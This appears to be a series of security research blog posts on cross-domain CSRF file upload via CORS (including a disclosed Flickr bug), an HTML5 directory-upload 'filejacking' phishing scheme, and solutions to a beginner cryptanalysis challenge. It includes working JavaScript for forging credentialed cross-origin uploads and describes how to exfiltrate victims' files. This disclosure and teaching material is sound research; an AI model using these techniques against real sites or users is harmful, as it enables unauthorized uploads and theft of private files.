As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.

Fix

As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.

Timeline

17.05.2011 - vulnerability discovered

18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released

Cross domain arbitrary file upload Redux

2011-05-10T17:49:00.002+02:00

Remember how it was possible to upload files with arbitrary names & contents cross domain? The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)

I can haz cookies!

I still don't know how did I miss this, but it's just a one-line change:

xhr.withCredentials = "true";

That's it. With this flag set:

CORS simple requests will include cookies / HTTP auth
CORS preflighted requests will ask for permission to include them

Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:

"Take those cookies to your grandma", said The Browser

Victim logs in to victim.whatever.com website
He receives a session cookie for future requests
In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)

"Browser, I really need you to send this tiny little harmless POST to victim"
Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.

"Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"
victim app receives the POST file upload with the cookie, so it processes the upload and responds.

"What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"
Browser looks at the response and, not having appropriate CORS response headers, discards the response.

"Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"

Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated the examples with the new code.

How to upload arbitrary file contents cross-domain

2011-04-29T16:59:00.004+02:00

Update: Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, minus.com, Tumblr.com and others. It seems that many file upload forms lack anti CSRF tokens.

HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.

The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.

Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:

from victim's browser
with arbitrary filename
with arbitrary content
without user interaction
.. to another domain.

This last point is crucial. Before CORS, the attacker might forge a file upload request with Javascript, but he could only upload it to the same domain (so XSS in a victim site was required) - now he can do it from anywhere.
Disclaimer: Don't expect a miracle that will exploit every website dealing with file upload. Described method is not likely to be exploited in the wild as it requires the victim application to be vulnerable in a specific way. It's rather a proof of concept of how bad application turns into terrible when HTML5 arrives.Update: now it's much more closer to miracle

How does file upload work?

HTTP file uploads are simply POST requests with multipart/form-data content type. Exemplary HTTP request looks like this:

POST /crossdomain-upload/vuln/recv.php HTTP/1.1
Host: victim.blog.security.localhost
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:6.0a1) Gecko/20110422 Firefox/6.0a1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Referer: http://victim.blog.security.localhost/crossdomain-upload/vuln/upload.php
Cookie: PHPSESSID=bdb46b013d71a85f3514c6c6031c4654
Content-Type: multipart/form-data; boundary=---------------------------153930214414330723532119279484
Content-Length: 238

-----------------------------153930214414330723532119279484
Content-Disposition: form-data; name="contents"; filename="hello.txt"
Content-Type: text/plain

Hello, world!
-----------------------------153930214414330723532119279484--

In multipart/form-data, every form field (including files) is represented as a MIME part and parts are separated by a arbitrary boundary. Browsers after user chooses the file populate the filename field with local file name (line 15) and copy file contents into MIME part (line 18).

Server processes this POST request, unpacks the MIME data, extracts files and, for example in PHP, stores the files in temporary directory, filling out $_POST and $_FILES arrays for the application. Simple and elegant.

File upload in Javascript

But what if you'd like to generate a file in the browser without forcing user to choose one from his HDD? This way, we could have control over file name, file contents AND the user wouldn't be bothered with the 'choose file' dialog.In fact, it would be invisible. Is it possible?

Sure! It was for years. Just make a XMLHttpRequest POST request, forming a multipart MIME in Javascript manually.

function fileUpload(url, fileData, fileName) {
   var fileSize = fileData.length,
     boundary = "xxxxxxxxx",
     xhr = new XMLHttpRequest();
   
   xhr.open("POST", url, true);
          // simulate a file MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);
   
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="contents"; filename="' + fileName + '"\r\n';
   body += "Content-Type: application/octet-stream\r\n\r\n";
   body += fileData + "\r\n";
   body += "--" + boundary + "--";
   
   xhr.send(body);
   return true;
}

Voila!

Same domain, XSS needed

How can this be used? Let's imagine that we have a website serving up a repository of files shared among a working group of users. Users upload files, others download them to work together on some secret nuclear project.
The site follows common development practices, so it is vulnerable to XSS (it must be, it's the top feature!)

Now it is possible to inject a payload that will, on behalf of a user (the cookies will be included) upload any content we want, with any filename. It can be a trojan EXE file, PHP file to be used in LFI attack or malicious PDF file. Even uploading TXT files is considered harmful due to content sniffing. User needs only to visit a given URL.

But - we need to be on the same domain, hence requirement for XSS.

Having fun cross origin

ekhm... no, we don't. We have CORS. We can post to other domains, so we don't need any XSS, we can host the payload anywhere! The POST request with our forged MIME parts will happily leave victim browser and travel through Internet to its destination, decorated with CORS headers. The application will happily ignore them as it doesn't speak CORS.

But wait? Wasn't CORS designed with security in mind? Sure it was, there are a few caveats:

you won't get access to the server response (unless the victim site sends Access-Control-Allow-Origin and other headers)
cookies, HTTP authentication and custom headers won't be transferred, so application must accept file uploads without authenticating them - Update: Now there's a simple way to include credentials

These caveats make the described technique unlikely-to-be-used, but still, there probably are websites skipping authentication when processing file uploads. For them, HTML5 turns bad into terrible.

Demo

As always, I've prepared a demo:

http://victim.kotowicz.net/crossdomain-upload/vuln/

This is a victim site that allows you to upload a file you might need later into your personal web space. You need to be logged in to upload the file, of course, but the authentication is not always checked (a small "mistake" by me). You can only see your own files, because the filenames are prepended with your login.

http://attacker.kotowicz.net/crossdomain-upload/evil/upload.html

This is the attacker page - while being on a different domain, he can simulate file upload with any file name and any file contents to victim page, and the file will be processed. Note that I, knowing your skills, I'm not trusting you with my server ;) - for security reasons file contents are erased and .txt extension is used for all files.

This demo works in Firefox 4+ and Chrome. It might be easily modified to work in IE, other browsers are not tested yet.

The source files for this demo are on GitHub.

Final words

Other ways to CSRF file upload were discovered in 2008 by @kuza55 and @pdp. Kuza55 method exploited a browser bug that converted standard form field into a file field (lack of proper escaping by browser engine). PDP used Flash to construct MIME message.

What is worth mentioning - method described in this blog post is "future-proof", it's unlikely to get fixed by browser vendors. It exploits a CORS specification quirk that allows sending POST requests without preflight.Originally the specification allowed only GET/HEAD requests to be sent this way, but it allowed POST in 2008. Why? FAQ answers:

Why is POST treated identically to GET?

Cross-site POST requests have long been possible using the HTML form element. Cross-site POST requests with arbitrary an Content-Type header set have been possible for a long time in Flash.

It's true, one could always send POST request by doing form.submit() with form action being on different domain. However, one could not send files this way without user interaction (unless using bug @kuza55 discovered). Now we're able to send files, but cookies are missing, The rules change - and existing applications should adjust. Most of them won't - and this is exactly why html5 buzzword will be a game changer for web app security in the coming years.

Filejacking: How to make a file server from your browser (with HTML5 of course)

2011-04-14T19:21:00.001+02:00

Back in the days of browser wars, there was a joke: Internet Explorer is the only web browser that makes Internet browse your computer. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.

Your file, please

How can a website access user's files? Traditionally, user has to upload the file. Users commonly share photos, videos upload their files for online conversion tools etc. You could (theoretically) be tricked into uploading a sensitive file into a malicious website ("please submit your private key for checking it's strength"), but, seriously, who falls for that?

Lately, File API allowed Javascript to access the file once it is chosen by the user (i.e. before uploading it). Apart from delivering better file uploading experience, it might also be used maliciously to steal your files in XSS attack. Also, with clever styling you can hide input type=file control so that the user is unaware that he's going to upload the file. But still - the only leaked file is the one user chose using 'Open File' dialog.

Users are aware of what file uploading is and are reluctant to choose Downloaded Files/nothing here/move along/boring family photos/1/b00bs.jpg when working inside a browser, so it's not a big deal, right?

Wrong. It's 2011, web applications need new features, browsers are hurrying to implement them, sometimes security is an afterthought.

But first, a gift

I've got some gifts for you. I gathered some of the latest hacking tricks for all browsers, spiced it up with an algorithm that will send you a ZIP file crafted especially for you based on your answers. Just fill out the short quiz and wait for the file download.

Update: I'm currently experiencing traffic spike on the server, generating file might take a while.

Using Chrome / Chromium please navigate to:

http://kotowicz.net/wu/

and claim your gift :)

Now back to me

input type=file directory is a splendid feature. It allows you to upload contents of a chosen directory. Great when you'd like to submit a gallery of pictures to Facebook, ain't it? Currently, it's implemented in Webkit (latest Chrome / Chromium) - not yet in Safari, Firefox or any other browser.

However it has a problem - that feature is new to users, they don't know what are it's consequences, there are no warnings either. For all they know, they're just selecting a folder using the OS native "select folder" dialog. Similar to what happens when e.g. choosing a download destination.

While you probably didn't fell for my trick, most users are not that smart nor security-minded. And the consequences of sharing a folder are much worse than of sharing a single file. Don't believe me? See

http://attacker.kotowicz.net/wu/evil.html - the backend of the service. Or just look at the video:

File server inside your browser

The given example is another example of UI redressing attack exploting new features of HTML5. The elements of the scam:

a phishing site with "hacking tricks" bait
transparent input type=file directory over the fake download button
launching another window to perform real work (to survive closing initial window by the user)
the new window sends the file list from the chosen directory to the server
additionally, it uploads one sample image, if it finds one in your directory
.. and polls the server repeatedly for further commands
server control panel gets the list of connected clients and their files
server operator can choose the files to download
requests for new files reach the clients, and they send the files back

Your browser has now become a file server, serving files from your chosen directory. More features follow!

cross domain
easily served through XSS vulnerability
server/client could be automated to e.g. send all Excel files at once.
and, it's HTML5 compatible

Nifty!

Brave new world?

Current web applications demand more power from browsers. With features like

directory upload,
offline storage,
drag & drop support
extensive styling
audio & video support
WebSockets
notifications

they're getting closer to desktop applications each year. Granted, they all run in a browser "sandbox" with its security policies.

However, users are not aware of what current browser can do, so they can be tricked into running the malicious app. And, with XSS being so popular, malicious app may be pretty much every site on the Internet.

Browser vendors try to educate users and prevent them from choosing unsafe settings (Geolocation bar is an example). Shouldn't similar 'warning' be displayed when using input type=file directory ? After all, it's only one click away and the risks of sharing a whole directory are huge. So, WebKit, what do you think?

How to Beathis! challenge - the solutions

2011-03-24T12:57:00.003+01:00

Beatthis! cryptoanalysis challenge turned out to be pretty popular. Some of you have been asking me for additional tips, some of you shared the happiness of completing the levels, most of you probably cursed a lot ;) I'd like to thank all the participants for their time, I hope you liked this hackme. But of course my congratulations go to all of you who solved all levels:

mrrr (@gynvael)
hellman (@hellman1908)
@internot_
carstein (@m_melewski)
wrrr (Kuba - jakubk at mp dot pl)
dxp (@dxp2532)

You're all my personal heroes! Now it's time to reveal all the secrets - one by one. If you still want to finish the challenge by yourself, don't read up. There are spoilers ahead!

Free gifts for everyone!!111

But before that, let me present a few cryptographic tools created while preparing this challenge, together with cipher/plaintexts for all levels. It's a gift for you for trying the challenge. Download it, test it, do what you want with it. Enjoy! Now, let's begin with...

Level 1

This was the file:

V2hhdCBjb3VsZCBiZSBzaW1wbGVyIHRoYW4gc29tZSBzaW1wbGUgYmFzZTY0ICJjaXBoZXIiPyBU
aGUgY29kZQpmb3IgbmV4dCBsZXZlbCBpcyBCQUJBSkFHQUVWSUxLTklFVkVMCg==

Obviously, it's base64 encoded (the range of characters used and the ending == give this away). Notice the difference - encoded, not encrypted. There is no encryption here, it's just a simple starter. Decoding this with e.g. this online decoder gave you the passphrase to the next level.

Level 2

The ciphertext was also base64 encoded, but the decoded text looked like this:

Pvgrq Sebz uggc://ra.jvxvcrqvn.bet/jvxv/EBG13
EBG13 vf na rknzcyr bs gur rapelcgvba nytbevguz xabja nf n Pnrfne pvcure, nggevohgrq gb Whyvhf Pnrfne va gur 1fg praghel OP.[5]

.. which is simply ROT13-encoded file, given away e.g. by the fact, that only letters are being transformed, and that uggc://ra.jvxvcrqvn.bet/jvxv/EBG13 looks like an URL.One ROT13 decoder away are we're in...

Level 3

Again, base64 to start the fun, and then:

p=D@[ FD:?8 #~%\2?JE9:?8 H:== ?@E 86E J@F 2?JH96C6 3FE E@ E96 ?6IE =6G6= H:E9 E9:D (p}}pqtr#*!%~p}p{*$% <6J]

Ouch. This one doesn't look so good... But you could quickly (or hours later) see that

the symbols are all in lower half of ASCII table (0-127)
it looks like the spaces are not modified, as they appear too often

Starting the frequency analysis, you can e.g.

replace the most common letters in the ciphertext (you can find them e.g. with histogram.py) with the most common letters in English (e,t,a)
identify short words and try to match them with short words in English (like "to", "me")
guess another missing letters, and uncover letters one by one

The process could look like this:

When you get bored, or reach a dead end, you will eventually encounter the "Why 13?" hint and calculate that the replaced characters byte values are shifted by 47. Previous level was ROT13, and this one is ROT47 - his lesser known brother. Quick googling to decode it and on to the next level.

Level 4

This is a breakthrough level - the previous ones were quick warmups easily solvable with Google, this one requires doing some actual analysis.

Jv{>FQL>qn{ljql>wm>{fjl{s{rg>}qssqp>m>>}qsnqp{pj>wp>sql{>}qsnr{
etc.

Let's look deeper with histogram.py:

$ ./histogram.py 4.cipher 
col 0:
-------------
   '>' 3E  62 00111110 0.1767 *
   '{' 7B 123 01111011 0.1186 
   'j' 6A 106 01101010 0.0651 
   'm' 6D 109 01101101 0.0616 
   'w' 77 119 01110111 0.0605 
   'p' 70 112 01110000 0.0535 
   'l' 6C 108 01101100 0.0523 
   'q' 71 113 01110001 0.0512 
'\x7f' 7F 127 01111111 0.0488 
   'v' 76 118 01110110 0.0314 
....
$ ./histogram.py 4.cipher | wc -l
43

There's 40-something symbols, with non-uniform distribution. The output simply lists all occuring bytes in the file, sorted by frequency (last column). The file is filled with 17% of ">" - that's a lot. For comparison, here's the distribution for English text (article from Wikipedia):

$ ./histogram.py english.txt 
col 0:
-------------
   ' ' 20  32 00100000 0.1614 *
   'e' 65 101 01100101 0.1085 
   'a' 61  97 01100001 0.0637 
   't' 74 116 01110100 0.0542 
   'n' 6E 110 01101110 0.0500 
   'i' 69 105 01101001 0.0498 
   'r' 72 114 01110010 0.0479 
   's' 73 115 01110011 0.0451 
   'o' 6F 111 01101111 0.0440 
   'l' 6C 108 01101100 0.0388 
   'h' 68 104 01101000 0.0351

Looking pretty similar, don't they? So, we match: > is SPACE, { is e and j is a. And we might continue with the path from previous exercises, trying to decipher each character, but there's a faster way. Let's look at the bits (red - ciphertext, purple - English text):

   '>' 3E  62 00111110 0.1767 *
   ' ' 20  32 00100000 0.1614 *
   '{' 7B 123 01111011 0.1186 
   'e' 65 101 01100101 0.1085

This highlighted bits in most common letters in text are clearly related - they are negated. Or XORed with 0b00011110 = 30. Let's test this with xor.py:

$ ./xor.py 4.cipher 30 | head -n 1
The XOR operator is extremely common as a component in more complex ciphers. By itself, [...]

Yup, we're right. This is solving with the glove i.e. reasoning & deduction with the help of frequency analysis. It can also be solved with a hammer - XOR/ROL/ADDing all 256 combinations of a key for a meaningful plaintext.

Level 5

Is a ZIP file (simple to tell when you see PK at the beginning) . Unpacking the zip gives us a single file, but with a byte distribution that is 'flat':

'\xcf' CF 207 11001111 0.0577 *
'\x8d' 8D 141 10001101 0.0449 
'\x9e' 9E 158 10011110 0.0385 
'\xbb' BB 187 10111011 0.0353 
'\xfe' FE 254 11111110 0.0321 
'\x8a' 8A 138 10001010 0.0321 
'\xdb' DB 219 11011011 0.0321

That's not good. The hint tells us that "One is lame" - could this mean that the key is longer than one byte? It would explain the flattened histogram. There are a few ways to find the key length, but let's just skip them for this level and let's use that last hint - "you have it all, the key is there". Yes, it's in the file itself, stuck at the end, as a DEADBEEF. So, first byte is XORed with 0xDE, 2nd - with 0xAD, and so on, looping over the key. It's an example of (sort-of) Vigenere cipher.

Sidenote: It's a common practice for programmers to use XOR with a random number and then glue it somewhere with ciphertext. Please don't do that, it makes me cry like a baby and I don't like crying (well, unless I'm watching Titanic).

Decrypting with xor.py is successful. The passphrase mentions "Friedman's thingy", and we're ready for the final level.

Level 6

Does that file resemble anything? Look at the previous level .bin file, compare. The structure seems similar, but there's QJ, not PK at the beginning. Well, not when you XOR it with 1, getting the almost-valid ZIP file in return. Almost valid, because I screwed up editing the file, but thankfully, the ZIP could be unpacked by at least a few unpackers (Linux unzip, WinRAR).

Could be, provided you knew the password. The zip contained a single file - drowssap. As for the password, you could brute force it with anything you like, or just enter the most common one: "password" (drowssap in reverse).

After unpacking the file, you should be pretty much clueless. There's around 100 different characters in the file - more than in usual English texts (60-70 for Wikipedia articles), so it's probably using some multibyte key (or homophonic substitution). Bruteforcing the key would take too long, to do frequency analysis and start uncovering letters one-by-one we need to know the key length. But this time it's not stored anywhere in the file.

There must be a different way - and there is! Remember the last passphrase? "Let's try this Friedman's thingy" - what is that all about? Wikipedia article on Vigenere cipher tells us that "The Kasiski and Friedman tests can help determine the key length".

Great! Just what we need. This time you'll have to write a program counting Index of Coincidence to determine the key length (as an additional hint IoC definition was also cited in my blog post announing Beatthis!). The example on Wikipedia IoC article is very good explanation, so I won't try to be smarter . Writing the program is a great excersie, but if you're lazy, just use mine: break.py

$ scripts/break.py drowssap english.txt 
Guessing key length...
IC: 16.0056153949
1 4.5598898258327143 (11.445725569)
2 4.5263998965036087 (11.4792154984)
3 4.6351954511917084 (11.3704199437)
4 4.3566207548108 (11.6489946401)
5 16.613403570383376 (0.607788175501)
6 4.538307420468576 (11.4673079744)
7 4.249386352479136 (11.7562290424)
8 4.3937767878235636 (11.6118386071)
9 4.8772309151256525 (11.1283844798)
10 16.468332136110892 (0.462716741229)
11 4.643879300674647 (11.3617360942)
12 4.1983747246905141 (11.8072406702)
13 4.3670083864739384 (11.6386070084)
14 4.1592126212187015 (11.8464027737)
15 17.909881422924901 (1.90426602804)
16 4.058450152607838 (11.9471652423)
17 4.3184885290148447 (11.6871268659)
18 4.6497023339128596 (11.355913061)
19 4.4484544695071007 (11.5571609254)
20 15.707664884135474 (0.297950510746)
21 4.0888144113950551 (11.9168009835)

This one counts the IoC for our ciphertext, probing different lengths, also comparing this with IoC of some sample English text. You can clearly see, that every 5*x length is giving a much higher result. That's because 5 is the length of a key.

Now you can try the frequency analysis on each column. (e.g. get byte 1, 6, 11, 16, ... and anylyze them separately, then bytes 2,7,12,17,22 etc.). Or follow Wikipedia example and try maximizing correlation (see Wikipedia for details). Again, write your own or use break.py for this:

$ scripts/break.py drowssap english.txt 5
Assuming key length 5

Column 0:
Best matches:[('xor', 30), ('xor', 91), ('add', 226)]
Chosen function: xor:30

Column 1:
Best matches:[('xor', 40), ('add', 24), ('rol', 2)]
Chosen function: xor:40

Column 2:
Best matches:[('xor', 50), ('add', 14), ('xor', 119)]
Chosen function: xor:50

Column 3:
Best matches:[('xor', 60), ('xor', 121), ('add', 4)]
Chosen function: xor:60

Column 4:
Best matches:[('xor', 70), ('xor', 3), ('xor', 87)]
Chosen function: xor:70
Guessed plaintext:
Congratulations! You broke the unbreakable, indecipherable cipher, commonly named as Vigenere cipher.[...]

It turned out that the key was 5 bytes long, with bytes (decimal) 30,40,50,60,70. Easy when you know it upfront :)

Final notes

Once again, thank you all for participating. I hope you had at least so much fun playing as me preparing it. Like I said before, for your participation - take a look at the scripts, try to play with them all, fork & improve them, fix their bugs - let them live on their own.

With break.py levels 4,5,6 (after unzipping) are solvable in seconds. histogram.py helps analyzing all levels, xor.py is good for encrypting/decrypting, others are just helpers.

Beatthis! is still online (and probably will be for weeks, until someone starts abusing it with bruteforce), so you can test the scripts or try other methods. Let me know what is your opinion on the challenge, were the levels too hard or too easy, how did you solve them, what stopped you - I really want to hear. Till next time!

A simple cryptoanalysis challenge

2011-03-20T16:49:00.000+01:00

If you like solving puzzles, if you're into breaking things and if you at least know how to read this thing aloud:

I think you will appreciate my newest, 6 level challenge - it's simpler than you think, and the levels get increasingly harder, so there's something for everyone.

Without further ado, I present to you:

Beatthis! crypto challenge

Please share the link!